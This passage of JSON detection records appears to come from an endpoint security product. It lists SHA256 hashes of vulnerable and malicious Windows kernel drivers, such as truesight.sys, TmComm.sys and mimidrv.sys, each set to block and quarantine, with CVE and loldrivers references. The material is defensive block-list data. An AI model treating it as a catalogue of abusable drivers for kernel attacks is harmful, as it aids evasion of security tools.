+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1e47a45-311c-5f58-8a33-97df3c6a36cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830150Z",
+  "creation_date": "2026-03-23T11:45:30.830152Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b745f6fe075341d69120cb3f54e214d77160c0b344427356487b46a23bf756c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b1f44c28-9df3-5df7-b26b-67c0ee3bb43d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973688Z",
+  "creation_date": "2026-03-23T11:45:29.973690Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973695Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61befeef14783eb0fed679fca179d2f5c33eb2dcbd40980669ca2ebeb3bf11cf",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b207f879-cc4c-559f-bda8-90faf46eb9ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146813Z",
+  "creation_date": "2026-03-23T11:45:31.146815Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146820Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70c13945095582777449d210c2c7ddd5b95496c0456332c933ad79b5549b0eb1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b20f89a6-74f6-58df-bca5-8e5d0cf1781f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461640Z",
+  "creation_date": "2026-03-23T11:45:30.461643Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461652Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7433f14b40c674c5e87b6210c330d5bcaf2f6f52d632ae29e9b7cf3ca405665b",
+  "comment": "Malicious Kernel Driver (aka mlgbbiicaihflrnh.sys) [https://www.loldrivers.io/drivers/b074dcb5-b278-4434-bdd9-14a055d724f3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b215d0d9-7b14-5bc7-9cfe-0c6ed7984ab8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817736Z",
+  "creation_date": "2026-03-23T11:45:31.817739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817747Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87c3de1b890663f6f8b41cae967520501a9f3fca34a7d2c8014aec819e7bffba",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b218ae30-b391-5b2d-9de3-939a276831e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618966Z",
+  "creation_date": "2026-03-23T11:45:29.618968Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618973Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11e3d9aa67ef620a452458f67e101aa513c7fbcca8f35e2e5d0e3403d9dee937",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b219d6ac-1366-54f2-a234-66bf9bb28e49",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471804Z",
+  "creation_date": "2026-03-23T11:45:31.471808Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471817Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c837d13c26b679c5fcbcdc2b40c3179310c81aa671bf1eafd3d800b3f0323f0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b22425ae-fc86-5a5d-9cad-3b9606a36f11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474291Z",
+  "creation_date": "2026-03-23T11:45:31.474295Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474305Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ec06754fb3bb2f8ac49a097eba70483640b5c2cc5a7136837fa66bec9e884ca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b22da231-d8eb-5198-8ef7-9b6dc403ad11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829734Z",
+  "creation_date": "2026-03-23T11:45:31.829737Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "235e378dd2ade7be420c6530d55efe088efc17c42dd936045dc9849785aa6f50",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2337d25-1a28-5e52-9141-1f6b5d3eb660",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984923Z",
+  "creation_date": "2026-03-23T11:45:29.984925Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984930Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "57e9de67e908186b3cb8180caa2e5c5d7b6bb31969557b8bd5710d79089e8868",
+  "comment": "Dangerous Physmem Kernel Driver (aka BS_Def64.Sys) [https://www.loldrivers.io/drivers/4a80da66-f8f1-4af9-ba56-696cfe6c1e10/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b237b64c-e1c3-5bcd-a19f-d424c4435d34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618824Z",
+  "creation_date": "2026-03-23T11:45:29.618826Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618831Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6694435663bf283a3d5f20e9c90cf1bc4d3687e381b32e1a004a9d24471eb95b",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b23df79f-d77e-560d-a40e-eb11cddf10a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473642Z",
+  "creation_date": "2026-03-23T11:45:31.473646Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1429bbab0bd067235d06f5857f6976e42587863acd17ca022ab15e97ded5b4fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b263ba80-da2d-5f98-924a-21c9eaf93681",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150391Z",
+  "creation_date": "2026-03-23T11:45:31.150393Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150398Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cae63e4da0609c13fb1cfa859e5afedd5a8722ffbc764bf47eb276471a928050",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b271a294-a4f8-5b4d-b59d-cea2f3752cff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613083Z",
+  "creation_date": "2026-03-23T11:45:29.613085Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613090Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f23313adb35782adb0ba97fefbfbb8bbc5fc40ae272e07f6d4629a5305a3fa2",
+  "comment": "ASUS vulnerable UEFI Update Driver (aka AsUpIO64.sys and GVCIDrv64.sys) [https://codeinsecurity.wordpress.com/2016/06/12/asus-uefi-update-driver-physical-memory-readwrite/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b27440a5-a394-5ee0-b335-f973eccacb39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973705Z",
+  "creation_date": "2026-03-23T11:45:29.973707Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973712Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62f5e13b2edc00128716cb93e6a9eddffea67ce83d2bb426f18f5be08ead89e0",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2751049-4219-502c-97be-c6bbc81ccb35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479704Z",
+  "creation_date": "2026-03-23T11:45:30.479706Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3482f671cb1b6414e43ab2c9bccc94c1fba67ceac6e9831249f18f31ad68880c",
+  "comment": "Vulnerable Kernel Driver (aka amifldrv64.sys) [https://www.loldrivers.io/drivers/a5eb98bf-2133-46e8-848f-a299ea0ddefa/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b27da2ce-4743-51c9-95b2-c5335c5fc040",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467765Z",
+  "creation_date": "2026-03-23T11:45:30.467768Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16b6a65d569ad3d0a1ff5aaf2374c28cebab4a289ffee42b79f7a48d5979b579",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2891fc8-0b2d-56e1-b347-db736451c2c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476339Z",
+  "creation_date": "2026-03-23T11:45:31.476343Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476353Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b9c26b3727af0f6ef4ac8cc8648cb4ecc4ad77b02cb0677fcc493b18ca19cdd2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b293d4b8-7b1e-507a-92cf-4143d31fdd16",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830368Z",
+  "creation_date": "2026-03-23T11:45:30.830370Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830375Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8abad96bc2cc4b6388c521671d3c68eed9f88b1e35256f9976974e34a5fe99c5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b29dba2f-df34-50f1-8499-e65d9cc8411b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145642Z",
+  "creation_date": "2026-03-23T11:45:31.145644Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145649Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f7c7bd6b1dee634d5fb234bab0cfe341ff9f2845cddbe59a653366966f603e07",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2a2c2d4-db7b-5b92-b9ac-3ad17d783db2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488500Z",
+  "creation_date": "2026-03-23T11:45:31.488502Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488507Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "40a0c1cd71d8b3b4eb83fd39125cc93fd4f11ad82a83c5eabc69b4c38c998504",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "b2a6d2e4-ddd3-5d5c-bc5e-6f99e8535d90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824163Z",
+  "creation_date": "2026-03-23T11:45:31.824166Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37e5d3bd6a3aeade27febcd905646de65594601ca3650b2b9d79653f4fde73c5",
